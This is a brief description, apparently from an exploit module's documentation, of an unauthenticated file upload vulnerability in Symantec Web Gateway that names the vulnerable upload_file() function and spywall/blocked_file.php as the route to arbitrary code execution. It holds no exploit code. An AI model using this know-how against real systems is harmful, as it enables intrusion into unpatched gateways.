Description

This module exploits a file upload vulnerability found in Symantec Web Gateway's HTTP service. Due to the incorrect use of file extensions in the upload_file() function, attackers may to abuse the spywall/blocked_file.php file in order to upload a malicious PHP file without any authentication, which results in arbitrary code execution.
